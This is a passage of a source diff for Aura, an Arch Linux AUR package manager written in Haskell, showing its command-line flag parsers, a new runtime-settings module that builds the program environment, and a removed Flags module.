ColourMode+        f "never"  = Never+        f "always" = Always+        f _        = Auto++database :: Parser PacmanOp+database = bigD *> (Database <$> (fmap Right somePkgs <|> fmap Left mods))+  where bigD   = flag' () (long "database" <> short 'D' <> help "Interact with the package database.")+        mods   = check <|> asdeps <|> asexp+        check  = flag' DBCheck (long "check" <> short 'k' <> hidden <> help "Test local database validity.")+        asdeps = DBAsDeps <$> (flag' () (long "asdeps" <> hidden <> help "Mark packages as being dependencies.") *> someArgs')+        asexp  = DBAsExplicit <$> (flag' () (long "asexplicit" <> hidden <> help "Mark packages as being explicitely installed.") *> someArgs')++files :: Parser PacmanOp+files = bigF *> (Files <$> fmap S.fromList (many mods))+  where bigF = flag' () (long "files" <> short 'F' <> help "Interact with the file database.")+        mods = lst <|> own <|> sch <|> rgx <|> rfr <|> mch+        lst  = FilesList <$> (flag' () (long "list" <> short 'l' <> hidden <> help "List the files owned by given packages.") *> someArgs')+        own  = FilesOwns <$> strOption (long "owns" <> short 'o' <> metavar "FILE" <> hidden <> help "Query the package that owns FILE.")+        sch  = FilesSearch <$> strOption (long "search" <> short 's' <> metavar "FILE" <> hidden <> help "Find package files that match the given FILEname.")+        rgx  = flag' FilesRegex (long "regex" <> short 'x' <> hidden <> help "Interpret the input of -Fs as a regex.")+        rfr  = flag' FilesRefresh (long "refresh" <> short 'y' <> hidden <> help "Download fresh package databases.")+        mch  = flag' FilesMachineReadable (long "machinereadable" <> hidden <> help "Produce machine-readable output.")++queries :: Parser PacmanOp+queries = bigQ *> (Query <$> (fmap Right query <|> fmap Left mods))+  where bigQ  = flag' () (long "query" <> short 'Q' <> help "Interact with the local package database.")+        query = curry (second (S.map PkgName)) <$> queryFilters <*> manyArgs+        mods  = chl <|> gps <|> inf <|> lst <|> own <|> fls <|> sch <|> chk+        chl   = QueryChangelog <$> (flag' () (long "changelog" <> short 'c' <> hidden <> help "View a package's changelog.") *> someArgs')+        gps   = QueryGroups <$> (flag' () (long "groups" <> short 'g' <> hidden <> help "View all members of a package group.") *> someArgs')+        inf   = QueryInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View package information.") *> someArgs')+        lst   = QueryList <$> (flag' () (long "list" <> short 'l' <> hidden <> help "List files owned by a package.") *> someArgs')+        chk = QueryCheck <$> (flag' () (long "check" <> short 'k' <> hidden <> help "Check that package files exist.") *> someArgs')+        own   = QueryOwns <$> (flag' () (long "owns" <> short 'o' <> hidden <> help "Find the package some file belongs to.") *> someArgs')+        fls   = QueryFile <$> (flag' () (long "file" <> short 'p' <> hidden <> help "Query a package file.") *> someArgs')+        sch   = QuerySearch <$> strOption (long "search" <> short 's' <> metavar "REGEX" <> hidden <> help "Search the local database.")++queryFilters :: Parser (Set QueryFilter)+queryFilters = S.fromList <$> many (dps <|> exp <|> frg <|> ntv <|> urq <|> upg)+  where dps = flag' QueryDeps (long "deps" <> short 'd' <> hidden <> help "[filter] Only list packages installed as deps.")+        exp = flag' QueryExplicit (long "explicit" <> short 'e' <> hidden <> help "[filter] Only list explicitly installed packages.")+        frg = flag' QueryForeign (long "foreign" <> short 'm' <> hidden <> help "[filter] Only list AUR packages.")+        ntv = flag' QueryNative (long "native" <> short 'n' <> hidden <> help "[filter] Only list official packages.")+        urq = flag' QueryUnrequired (long "unrequired" <> short 't' <> hidden <> help "[filter] Only list packages not required as a dependency to any other.")+        upg = flag' QueryUpgrades (long "upgrades" <> short 'u' <> hidden <> help "[filter] Only list outdated packages.")++remove :: Parser PacmanOp+remove = bigR *> (Remove <$> mods <*> somePkgs)+  where bigR     = flag' () (long "remove" <> short 'R' <> help "Uninstall packages.")+        mods     = S.fromList <$> many (cascade <|> nosave <|> recurse <|> unneeded)+        cascade  = flag' RemoveCascade (long "cascade" <> short 'c' <> hidden <> help "Remove packages and all others that depend on them.")+        nosave   = flag' RemoveNoSave (long "nosave" <> short 'n' <> hidden <> help "Remove configuration files as well.")+        recurse  = flag' RemoveRecursive (long "recursive" <> short 's' <> hidden <> help "Remove unneeded dependencies.")+        unneeded = flag' RemoveUnneeded (long "unneeded" <> short 'u' <> hidden <> help "Remove unneeded packages.")++sync :: Parser PacmanOp+sync = bigS *> (Sync <$> (fmap (Right . S.map PkgName) manyArgs <|> fmap Left mods) <*> (S.fromList <$> many (ref <|> ign <|> igg)))+  where bigS = flag' () (long "sync" <> short 'S' <> help "Install official packages.")+        ref  = flag' SyncRefresh (long "refresh" <> short 'y' <> hidden <> help "Update the package database.")+        mods = NELP.fromList <$> some (cln <|> gps <|> inf <|> lst <|> sch <|> upg <|> dnl)+        cln  = flag' SyncClean (long "clean" <> short 'c' <> hidden <> help "Remove old packages from the cache.")+        gps  = SyncGroups <$> (flag' () (long "groups" <> short 'g' <> hidden <> help "View members of a package group.") *> someArgs')+        inf  = SyncInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View package information.") *> someArgs')+        lst  = SyncList <$> strOption (long "list" <> short 'l' <> metavar "REPO" <> hidden <> help "List the packages in a REPO.")+        sch  = SyncSearch <$> (flag' () (long "search" <> short 's' <> hidden <> help "Search the official package repos.") *> someArgs')+        upg  = SyncUpgrade <$> (flag' () (long "sysupgrade" <> short 'u' <> hidden <> help "Upgrade installed packages.") *> manyArgs')+        dnl  = SyncDownload <$> (flag' () (long "downloadonly" <> short 'w' <> hidden <> help "Download package tarballs.") *> someArgs')+        ign  = SyncIgnore . S.fromList . map PkgName . T.split (== ',') <$>+          strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.")+        igg  = SyncIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') <$>+          strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.")++misc :: Parser (Set MiscOp)+misc = S.fromList <$> many (ar <|> dbp <|> roo <|> ver <|> gpg <|> hd <|> con <|> dbo <|> nop <|> nos <|> pf <|> nod <|> prt <|> asi)+  where ar  = MiscArch+              <$> option (eitherReader absFilePath) (long "arch" <> metavar "ARCH" <> hidden <> help "Use an alternate architecture.")+        dbp = MiscDBPath+              <$> option (eitherReader absFilePath) (long "dbpath" <> short 'b' <> metavar "PATH" <> hidden <> help "Use an alternate database location.")+        roo = MiscRoot+              <$> option (eitherReader absFilePath) (long "root" <> short 'r' <> metavar "PATH" <> hidden <> help "Use an alternate installation root.")+        ver = flag' MiscVerbose (long "verbose" <> short 'v' <> hidden <> help "Be more verbose.")+        gpg = MiscGpgDir+              <$> option (eitherReader absFilePath) (long "gpgdir" <> metavar "PATH" <> hidden <> help "Use an alternate GnuGPG directory.")+        hd  = MiscHookDir+              <$> option (eitherReader absFilePath) (long "hookdir" <> metavar "PATH" <> hidden <> help "Use an alternate hook directory.")+        con = flag' MiscConfirm (long "confirm" <> hidden <> help "Always ask for confirmation.")+        dbo = flag' MiscDBOnly (long "dbonly" <> hidden <> help "Only modify database entries, not package files.")+        nop = flag' MiscNoProgress (long "noprogressbar" <> hidden <> help "Don't show a progress bar when downloading.")+        nos = flag' MiscNoScriptlet (long "noscriptlet" <> hidden <> help "Don't run available install scriptlets.")+        pf  = MiscPrintFormat <$> strOption (long "print-format" <> metavar "STRING" <> hidden <> help "Specify how targets should be printed.")+        nod = flag' MiscNoDeps (long "nodeps" <> short 'd' <> hidden <> help "Skip dependency version checks.")+        prt = flag' MiscPrint (long "print" <> short 'p' <> hidden <> help "Print the targets instead of performing the operation.")+        asi = MiscAssumeInstalled <$> strOption (long "assume-installed" <> metavar "<package=version>" <> hidden <> help "Add a virtual package to satisfy dependencies.")++testdeps :: Parser PacmanOp+testdeps = bigT *> (TestDeps <$> someArgs)+  where bigT = flag' () (long "deptest" <> short 'T' <> help "Test dependencies - useful for scripts.")++upgrades :: Parser PacmanOp+upgrades = bigU *> (Upgrade <$> (S.fromList <$> many mods) <*> somePkgs)+  where bigU = flag' () (long "upgrade" <> short 'U' <> help "Install given package files.")+        mods = asd <|> ase <|> ign <|> igg+        asd = flag' UpgradeAsDeps (long "asdeps" <> hidden)+        ase = flag' UpgradeAsExplicit (long "asexplicit" <> hidden)+        ign  = UpgradeIgnore . S.fromList . map PkgName . T.split (== ',') <$>+          strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.")+        igg  = UpgradeIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') <$>+          strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.")++somePkgs :: Parser (NonEmpty PkgName)+somePkgs = NELP.fromList . map PkgName <$> some (argument str (metavar "PACKAGES"))++-- | Same as `someArgs`, but the help message "brief display" won't show PACKAGES.+somePkgs' :: Parser (NonEmpty PkgName)+somePkgs' = NELP.fromList . map PkgName <$> some (argument str (metavar "PACKAGES" <> hidden))++-- | One or more arguments.+someArgs :: Parser (NonEmpty Text)+someArgs = NEL.nub . NELP.fromList <$> some (argument str (metavar "PACKAGES"))++-- | Same as `someArgs`, but the help message "brief display" won't show PACKAGES.+someArgs' :: Parser (NonEmpty Text)+someArgs' = NEL.nub . NELP.fromList <$> some (argument str (metavar "PACKAGES" <> hidden))++-- | Zero or more arguments.+manyArgs :: Parser (Set Text)+manyArgs = S.fromList <$> many (argument str (metavar "PACKAGES"))++-- | Zero or more arguments.+manyArgs' :: Parser (Set Text)+manyArgs' = S.fromList <$> many (argument str (metavar "PACKAGES" <> hidden))++language :: Parser Language+language = foldr1 (<|>) $ map (\(f, v) -> flag' v (long f <> hidden)) langs+  where langs = [ ( "japanese",   Japanese ),   ( "日本語",        Japanese )+                , ( "polish",     Polish ),     ( "polski",     Polish )+                , ( "croatian",   Croatian ),   ( "hrvatski",   Croatian )+                , ( "swedish",    Swedish ),    ( "svenska",    Swedish )+                , ( "german",     German ),     ( "deutsch",    German )+                , ( "spanish",    Spanish ),    ( "español",    Spanish )+                , ( "portuguese", Portuguese ), ( "português",  Portuguese )+                , ( "french",     French),      ( "français",   French )+                , ( "russian",    Russian ),    ( "русский",    Russian )+                , ( "italian",    Italian ),    ( "italiano",   Italian )+                , ( "serbian",    Serbian ),    ( "српски",     Serbian )+                , ( "norwegian",  Norwegian ),  ( "norsk",      Norwegian )+                , ( "indonesian", Indonesia )+                , ( "chinese",    Chinese ),    ( "中文",         Chinese )+                , ( "esperanto",  Esperanto )+                , ( "dutch",      Dutch ),      ( "nederlands", Dutch ) ]++logLevel :: Parser LogLevel+logLevel = option (eitherReader l)+  (long "log-level" <> metavar "debug|info|warn|error" <> value LevelInfo+   <> help "The minimum level of log messages to display (default: info)")+  where+    l :: String -> Either String LogLevel+    l "debug" = Right LevelDebug+    l "info"  = Right LevelInfo+    l "warn"  = Right LevelWarn+    l "error" = Right LevelError+    l _       = Left "Must be one of debug|info|warn|error"++absFilePath :: String -> Either String FilePath+absFilePath fp = bool (Left $ "Not absolute: " <> fp) (Right fp) $ isAbsolute fp
+ exec/Aura/Settings/Runtime.hs view
@@ -0,0 +1,94 @@+{-# LANGUAGE BangPatterns #-}++{-++Copyright 2012 - 2020 Colin Woodbury <colin@fosskers.ca>++This file is part of Aura.++Aura is free software: you can redistribute it and/or modify+it under the terms of the GNU General Public License as published by+the Free Software Foundation, either version 3 of the License, or+(at your option) any later version.++Aura is distributed in the hope that it will be useful,+but WITHOUT ANY WARRANTY; without even the implied warranty of+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the+GNU General Public License for more details.++You should have received a copy of the GNU General Public License+along with Aura.  If not, see <http://www.gnu.org/licenses/>.++-}++module Aura.Settings.Runtime ( withEnv ) where++import           Aura.Core (Env(..))+import           Aura.Flags+import           Aura.Languages+import           Aura.Packages.AUR (aurRepo)+import           Aura.Packages.Repository (pacmanRepo)+import           Aura.Pacman+import           Aura.Settings+import           Aura.Settings.External+import           Aura.Shell+import           Aura.Types+import           Aura.Utils+import           Data.Bifunctor (Bifunctor(..))+import           Lens.Micro (folded, (%~), (.~), (<>~), (^..), _Left, _Right)+import           Network.HTTP.Client (newManager)+import           Network.HTTP.Client.TLS (tlsManagerSettings)+import           RIO hiding (first)+import qualified RIO.Map as M+import qualified RIO.Set as S+import qualified RIO.Text as T+import           System.Environment (getEnvironment)+import           Text.Printf++---++-- | Bracket around the `Env` type to properly initialize the `Manager` and+-- `RIO` logger function (among other things).+--+-- Throws in `IO` if there were any errors.+withEnv :: Program -> (Env -> IO a) -> IO a+withEnv (Program op co bc lng ll) f = do+  let ign = S.fromList $ op ^.. _Right . _AurSync . folded . _AurIgnore . folded+      igg = S.fromList $ op ^.. _Right . _AurSync . folded . _AurIgnoreGroup . folded+  confFile    <- getPacmanConf (either id id $ configPathOf co) >>= either throwM pure+  auraConf    <- auraConfig <$> getAuraConf defaultAuraConf+  when (ll == LevelDebug) . printf "%s\n" $ show auraConf+  environment <- M.fromList . map (bimap T.pack T.pack) <$> getEnvironment+  manager     <- newManager tlsManagerSettings+  isTerm      <- hIsTerminalDevice stdout+  fromGroups  <- maybe (pure S.empty) groupPackages . nes+    $ getIgnoredGroups confFile <> igg+  let !bu = buildUserOf bc <|> acUser auraConf <|> getTrueUser environment+  when (isNothing bu) . throwM $ Failure whoIsBuildUser_1+  repos <- (<>) <$> pacmanRepo <*> aurRepo+  lopts <- setLogMinLevel ll . setLogUseLoc True <$> logOptionsHandle stderr True+  withLogFunc lopts $ \logFunc -> do+    let !ss = Settings+          { managerOf      = manager+          , envOf          = environment+          , langOf         = setLang (lng <|> acLang auraConf) environment+          , editorOf       = fromMaybe (getEditor environment) $ acEditor auraConf+          , isTerminal     = isTerm+          , ignoresOf      = getIgnoredPkgs confFile <> fromGroups <> ign+          , commonConfigOf =+              -- | These maintain the precedence order: flags, config file entry, default+              co & cachePathOfL . _Left %~ (\x -> fromMaybe x $ getCachePath confFile)+                 & logPathOfL   . _Left %~ (\x -> fromMaybe x $ getLogFilePath confFile)+          , buildConfigOf =+              bc & buildUserOfL     .~ bu+                 & buildPathOfL     %~ (<|> acBuildPath auraConf)+                 & allsourcePathOfL %~ (<|> acASPath auraConf)+                 & vcsPathOfL       %~ (<|> acVCSPath auraConf)+                 & buildSwitchesOfL <>~ maybe S.empty S.singleton (acAnalyse auraConf)+          , logLevelOf = ll+          , logFuncOf = logFunc }+    f (Env repos ss)++setLang :: Maybe Language -> Environment -> Language+setLang Nothing env   = fromMaybe English . langFromLocale $ getLocale env+setLang (Just lang) _ = lang
− exec/Flags.hs
@@ -1,547 +0,0 @@-module Flags-  ( Program(..), opts-  , PacmanOp( Sync ), SyncOp( SyncUpgrade ), SyncSwitch(..), MiscOp-  , AuraOp(..), AurSwitch(..), _AurSync, _AurIgnore, _AurIgnoreGroup-  , AurOp(..), BackupOp(..), CacheOp(..), LogOp(..), OrphanOp(..)-  ) where--import           Aura.Cache (defaultPackageCache)-import           Aura.Pacman (defaultLogFile, pacmanConfFile)-import           Aura.Settings-import           Aura.Types-import           Lens.Micro (Traversal')-import           Options.Applicative-import           RIO hiding (exp, log)-import           RIO.FilePath-import           RIO.List.Partial (foldr1)-import qualified RIO.NonEmpty as NEL-import qualified RIO.NonEmpty.Partial as NELP-import qualified RIO.Set as S-import qualified RIO.Text as T--------- | A description of a run of Aura to attempt.-data Program = Program {-  _operation   :: Either (PacmanOp, Set MiscOp) AuraOp-  -- ^ Whether Aura handles everything, or the ops and input are just passed down to Pacman.-  , _commons   :: CommonConfig-  -- ^ Settings common to both Aura and Pacman.-  , _buildConf :: BuildConfig-  -- ^ Settings specific to building packages.-  , _language  :: Maybe Language-  -- ^ The human language of text output.-  , _logLevel  :: LogLevel-  -- ^ The default RIO logging level.-  } deriving (Show)---- | Inherited operations that are fed down to Pacman.-data PacmanOp = Database (Either DatabaseOp (NonEmpty PkgName))-              | Files    (Set FilesOp)-              | Query    (Either QueryOp (Set QueryFilter, Set PkgName))-              | Remove   (Set RemoveOp) (NonEmpty PkgName)-              | Sync     (Either (NonEmpty SyncOp) (Set PkgName)) (Set SyncSwitch)-              | TestDeps (NonEmpty Text)-              | Upgrade  (Set UpgradeSwitch) (NonEmpty PkgName)-              deriving (Show)--instance Flagable PacmanOp where-  asFlag (Database (Left o))      = "-D" : asFlag o-  asFlag (Database (Right fs))    = "-D" : asFlag fs-  asFlag (Files os)               = "-F" : asFlag os-  asFlag (Query (Left o))         = "-Q" : asFlag o-  asFlag (Query (Right (fs, ps))) = "-Q" : asFlag ps ++ asFlag fs-  asFlag (Remove os ps)           = "-R" : asFlag os ++ asFlag ps-  asFlag (Sync (Left o) ss)       = "-S" : asFlag ss ++ asFlag o-  asFlag (Sync (Right ps) ss)     = "-S" : asFlag ss ++ asFlag ps-  asFlag (TestDeps ps)            = "-T" : asFlag ps-  asFlag (Upgrade s ps)           = "-U" : asFlag s ++ asFlag ps--data DatabaseOp = DBCheck-                | DBAsDeps     (NonEmpty Text)-                | DBAsExplicit (NonEmpty Text)-                deriving (Show)--instance Flagable DatabaseOp where-  asFlag DBCheck           = ["--check"]-  asFlag (DBAsDeps ps)     = "--asdeps" : asFlag ps-  asFlag (DBAsExplicit ps) = "--asexplicit" : asFlag ps--data FilesOp = FilesList  (NonEmpty Text)-             | FilesOwns   Text-             | FilesSearch Text-             | FilesRegex-             | FilesRefresh-             | FilesMachineReadable-             deriving (Eq, Ord, Show)--instance Flagable FilesOp where-  asFlag (FilesList fs)       = "--list" : asFlag fs-  asFlag (FilesOwns f)        = ["--owns", f]-  asFlag (FilesSearch f)      = ["--search", f]-  asFlag FilesRegex           = ["--regex"]-  asFlag FilesRefresh         = ["--refresh"]-  asFlag FilesMachineReadable = ["--machinereadable"]--data QueryOp = QueryChangelog (NonEmpty Text)-             | QueryGroups    (NonEmpty Text)-             | QueryInfo      (NonEmpty Text)-             | QueryCheck     (NonEmpty Text)-             | QueryList      (NonEmpty Text)-             | QueryOwns      (NonEmpty Text)-             | QueryFile      (NonEmpty Text)-             | QuerySearch     Text-             deriving (Show)--instance Flagable QueryOp where-  asFlag (QueryChangelog ps) = "--changelog" : asFlag ps-  asFlag (QueryGroups ps)    = "--groups" : asFlag ps-  asFlag (QueryInfo ps)      = "--info" : asFlag ps-  asFlag (QueryCheck ps)     = "--check" : asFlag ps-  asFlag (QueryList ps)      = "--list" : asFlag ps-  asFlag (QueryOwns ps)      = "--owns" : asFlag ps-  asFlag (QueryFile ps)      = "--file" : asFlag ps-  asFlag (QuerySearch t)     = ["--search", t]--data QueryFilter = QueryDeps-                 | QueryExplicit-                 | QueryForeign-                 | QueryNative-                 | QueryUnrequired-                 | QueryUpgrades-                 deriving (Eq, Ord, Show)--instance Flagable QueryFilter where-  asFlag QueryDeps       = ["--deps"]-  asFlag QueryExplicit   = ["--explicit"]-  asFlag QueryForeign    = ["--foreign"]-  asFlag QueryNative     = ["--native"]-  asFlag QueryUnrequired = ["--unrequired"]-  asFlag QueryUpgrades   = ["--upgrades"]--data RemoveOp = RemoveCascade-              | RemoveNoSave-              | RemoveRecursive-              | RemoveUnneeded-              deriving (Eq, Ord, Show)--instance Flagable RemoveOp where-  asFlag RemoveCascade   = ["--cascade"]-  asFlag RemoveNoSave    = ["--nosave"]-  asFlag RemoveRecursive = ["--recursive"]-  asFlag RemoveUnneeded  = ["--unneeded"]--data SyncOp = SyncClean-            | SyncGroups   (NonEmpty Text)-            | SyncInfo     (NonEmpty Text)-            | SyncList      Text-            | SyncSearch    Text-            | SyncUpgrade  (Set Text)-            | SyncDownload (NonEmpty Text)-            deriving (Eq, Ord, Show)--instance Flagable SyncOp where-  asFlag SyncClean         = ["--clean"]-  asFlag (SyncGroups gs)   = "--groups" : asFlag gs-  asFlag (SyncInfo ps)     = "--info" : asFlag ps-  asFlag (SyncList r)      = ["--list", r]-  asFlag (SyncSearch s)    = ["--search", s]-  asFlag (SyncUpgrade ps)  = "--sysupgrade" : asFlag ps-  asFlag (SyncDownload ps) = "--downloadonly" : asFlag ps--data SyncSwitch = SyncRefresh-                | SyncIgnore      (Set PkgName)-                | SyncIgnoreGroup (Set PkgGroup)-                | SyncOverwrite   Text-                deriving (Eq, Ord, Show)--instance Flagable SyncSwitch where-  asFlag SyncRefresh          = ["--refresh"]-  asFlag (SyncIgnore ps)      = ["--ignore", T.intercalate "," $ asFlag ps ]-  asFlag (SyncIgnoreGroup gs) = ["--ignoregroup" , T.intercalate "," $ asFlag gs ]-  asFlag (SyncOverwrite glob) = "--overwrite" : asFlag glob--data UpgradeSwitch = UpgradeAsDeps-                   | UpgradeAsExplicit-                   | UpgradeIgnore      (Set PkgName)-                   | UpgradeIgnoreGroup (Set PkgGroup)-                   | UpgradeOverwrite   Text-                   deriving (Eq, Ord, Show)--instance Flagable UpgradeSwitch where-  asFlag UpgradeAsDeps           = ["--asdeps"]-  asFlag UpgradeAsExplicit       = ["--asexplicit"]-  asFlag (UpgradeIgnore ps)      = ["--ignore", T.intercalate "," $ asFlag ps ]-  asFlag (UpgradeIgnoreGroup gs) = ["--ignoregroup", T.intercalate "," $ asFlag gs ]-  asFlag (UpgradeOverwrite glob) = "--overwrite" : asFlag glob---- | Flags common to several Pacman operations.-data MiscOp = MiscArch    FilePath-            | MiscAssumeInstalled Text-            | MiscColor   Text-            | MiscConfirm-            | MiscDBOnly-            | MiscDBPath  FilePath-            | MiscGpgDir  FilePath-            | MiscHookDir FilePath-            | MiscNoDeps-            | MiscNoProgress-            | MiscNoScriptlet-            | MiscPrint-            | MiscPrintFormat Text-            | MiscRoot    FilePath-            | MiscVerbose-            deriving (Eq, Ord, Show)--instance Flagable MiscOp where-  asFlag (MiscArch p)            = ["--arch", T.pack p]-  asFlag (MiscAssumeInstalled p) = ["--assume-installed", p]-  asFlag (MiscColor c)           = ["--color", c]-  asFlag (MiscDBPath p)          = ["--dbpath", T.pack p]-  asFlag (MiscGpgDir p)          = ["--gpgdir", T.pack p]-  asFlag (MiscHookDir p)         = ["--hookdir", T.pack p]-  asFlag (MiscPrintFormat s)     = ["--print-format", s]-  asFlag (MiscRoot p)            = ["--root", T.pack p]-  asFlag MiscConfirm             = ["--confirm"]-  asFlag MiscDBOnly              = ["--dbonly"]-  asFlag MiscNoDeps              = ["--nodeps"]-  asFlag MiscNoProgress          = ["--noprogressbar"]-  asFlag MiscNoScriptlet         = ["--noscriptlet"]-  asFlag MiscPrint               = ["--print"]-  asFlag MiscVerbose             = ["--verbose"]---- | Operations unique to Aura.-data AuraOp = AurSync (Either AurOp (NonEmpty PkgName)) (Set AurSwitch)-            | Backup  (Maybe  BackupOp)-            | Cache   (Either CacheOp (NonEmpty PkgName))-            | Log     (Maybe  LogOp)-            | Orphans (Maybe  OrphanOp)-            | Version-            | Languages-            | ViewConf-            deriving (Show)--_AurSync :: Traversal' AuraOp (Set AurSwitch)-_AurSync f (AurSync o s) = AurSync o <$> f s-_AurSync _ x             = pure x--data AurOp = AurDeps     (NonEmpty PkgName)-           | AurInfo     (NonEmpty PkgName)-           | AurPkgbuild (NonEmpty PkgName)-           | AurSearch    Text-           | AurUpgrade  (Set PkgName)-           | AurJson     (NonEmpty PkgName)-           | AurTarball  (NonEmpty PkgName)-           deriving (Show)--data AurSwitch = AurIgnore      (Set PkgName)-               | AurIgnoreGroup (Set PkgGroup)-               | AurRepoSync-               deriving (Eq, Ord, Show)--_AurIgnore :: Traversal' AurSwitch (Set PkgName)-_AurIgnore f (AurIgnore s) = AurIgnore <$> f s-_AurIgnore _ x             = pure x--_AurIgnoreGroup :: Traversal' AurSwitch (Set PkgGroup)-_AurIgnoreGroup f (AurIgnoreGroup s) = AurIgnoreGroup <$> f s-_AurIgnoreGroup _ x                  = pure x--data BackupOp = BackupClean Word | BackupRestore | BackupList deriving (Show)--data CacheOp = CacheBackup FilePath | CacheClean Word | CacheCleanNotSaved | CacheSearch Text deriving (Show)--data LogOp = LogInfo (NonEmpty PkgName) | LogSearch Text deriving (Show)--data OrphanOp = OrphanAbandon | OrphanAdopt (NonEmpty PkgName) deriving (Show)--opts :: ParserInfo Program-opts = info (program <**> helper)-  (fullDesc <> header "Aura - Package manager for Arch Linux and the AUR.")--program :: Parser Program-program = Program-  <$> (fmap Right aurOps <|> (curry Left <$> pacOps <*> misc))-  <*> commonConfig-  <*> buildConfig-  <*> optional language-  <*> logLevel-  where-    aurOps = aursync <|> backups <|> cache <|> log <|> orphans <|> version' <|> languages <|> viewconf-    pacOps = database <|> files <|> queries <|> remove <|> sync <|> testdeps <|> upgrades--aursync :: Parser AuraOp-aursync = bigA *>-  (AurSync-   <$> (fmap (Right . NEL.map (PkgName . T.toLower)) someArgs <|> fmap Left mods)-   <*> (S.fromList <$> many switches)-  )-  where bigA    = flag' () (long "aursync" <> short 'A' <> help "Install packages from the AUR.")-        mods    = ds <|> ainfo <|> pkgb <|> search <|> upgrade <|> aur <|> tarball-        ds      = AurDeps <$> (flag' () (long "deps" <> short 'd' <> hidden <> help "View dependencies of an AUR package.") *> somePkgs')-        ainfo   = AurInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View AUR package information.") *> somePkgs')-        pkgb    = AurPkgbuild <$> (flag' () (long "pkgbuild" <> short 'p' <> hidden <> help "View an AUR package's PKGBUILD file.") *> somePkgs')-        search  = AurSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> hidden <> help "Search the AUR via a search string.")-        upgrade = AurUpgrade <$> (flag' () (long "sysupgrade" <> short 'u' <> hidden <> help "Upgrade all installed AUR packages.") *> fmap (S.map PkgName) manyArgs')-        aur     = AurJson <$> (flag' () (long "json" <> hidden <> help "Retrieve package JSON straight from the AUR.") *> somePkgs')-        tarball = AurTarball <$> (flag' () (long "downloadonly" <> short 'w' <> hidden <> help "Download a package tarball.") *> somePkgs')-        switches = ign <|> igg <|> y-        ign  = AurIgnore . S.fromList . map PkgName . T.split (== ',')-          <$> strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.")-        igg  = AurIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',')-          <$> strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.")-        y    = flag' AurRepoSync (short 'y' <> hidden <> help "Do an -Sy before continuing.")--backups :: Parser AuraOp-backups = bigB *> (Backup <$> optional mods)-  where bigB = flag' () (long "save" <> short 'B' <> help "Save a package state.")-        mods = clean <|> restore <|> lst-        clean = BackupClean <$> option auto (long "clean" <> short 'c' <> metavar "N" <> hidden <> help "Keep the most recent N states, delete the rest.")-        restore = flag' BackupRestore (long "restore" <> short 'r' <> hidden <> help "Restore a previous package state.")-        lst = flag' BackupList (long "list" <> short 'l' <> hidden <> help "Show all saved package state filenames.")--cache :: Parser AuraOp-cache = bigC *> (Cache <$> (fmap Left mods <|> fmap Right somePkgs))-  where bigC = flag' () (long "downgrade" <> short 'C' <> help "Interact with the package cache.")-        mods = backup <|> clean <|> clean' <|> search-        backup = CacheBackup <$> option (eitherReader absFilePath) (long "backup" <> short 'b' <> metavar "PATH" <> help "Backup the package cache to a given directory." <> hidden)-        clean  = CacheClean  <$> option auto (long "clean" <> short 'c' <> metavar "N" <> help "Save the most recent N versions of a package in the cache, deleting the rest." <> hidden)-        clean' = flag' CacheCleanNotSaved (long "notsaved" <> help "Clean out any cached package files which doesn't appear in any saved state." <> hidden)-        search = CacheSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> help "Search the package cache via a search string." <> hidden)--log :: Parser AuraOp-log = bigL *> (Log <$> optional mods)-  where bigL = flag' () (long "viewlog" <> short 'L' <> help "View the Pacman log.")-        mods = inf <|> sch-        inf  = LogInfo <$> (flag' () (long "info" <> short 'i' <> help "Display the installation history for given packages." <> hidden) *> somePkgs')-        sch  = LogSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> help "Search the Pacman log via a search string." <> hidden)--orphans :: Parser AuraOp-orphans = bigO *> (Orphans <$> optional mods)-  where bigO    = flag' () (long "orphans" <> short 'O' <> help "Display all orphan packages.")-        mods    = abandon <|> adopt-        abandon = flag' OrphanAbandon (long "abandon" <> short 'j' <> hidden <> help "Uninstall all orphan packages.")-        adopt   = OrphanAdopt <$> (flag' () (long "adopt" <> hidden <> help "Mark some packages' install reason as 'Explicit'.") *> somePkgs')--version' :: Parser AuraOp-version' = flag' Version (long "version" <> short 'V' <> help "Display Aura's version.")--languages :: Parser AuraOp-languages = flag' Languages (long "languages" <> help "Show all human languages available for output.")--viewconf :: Parser AuraOp-viewconf = flag' ViewConf (long "viewconf" <> help "View the Pacman config file.")--buildConfig :: Parser BuildConfig-buildConfig = BuildConfig <$> makepkg <*> bp <*> optional bu <*> trunc <*> buildSwitches-  where makepkg = S.fromList <$> many (ia <|> as <|> si)-        ia      = flag' IgnoreArch (long "ignorearch" <> hidden <> help "Exposed makepkg flag.")-        as      = flag' AllSource (long "allsource" <> hidden <> help "Exposed makepkg flag.")-        si      = flag' SkipInteg (long "skipinteg" <> hidden <> help "Skip all makepkg integrity checks.")-        bp      = option (eitherReader absFilePath) (long "build" <> metavar "PATH" <> hidden <> help "Directory in which to build packages.")-                  <|> pure defaultBuildDir-        bu      = User <$> strOption (long "builduser" <> metavar "USER" <> hidden <> help "User account to build as.")-        trunc   = fmap Head (option auto (long "head" <> metavar "N" <> hidden <> help "Only show top N search results."))-          <|> fmap Tail (option auto (long "tail" <> metavar "N" <> hidden <> help "Only show last N search results."))-          <|> pure None--buildSwitches :: Parser (Set BuildSwitch)-buildSwitches = S.fromList <$> many (lv <|> dmd <|> dsm <|> dpb <|> rbd <|> he <|> ucp <|> dr <|> sa <|> fo <|> npc <|> asd)-  where dmd = flag' DeleteMakeDeps (long "delmakedeps" <> short 'a' <> hidden <> help "Uninstall makedeps after building.")-        dsm = flag' DontSuppressMakepkg (long "unsuppress" <> short 'x' <> hidden <> help 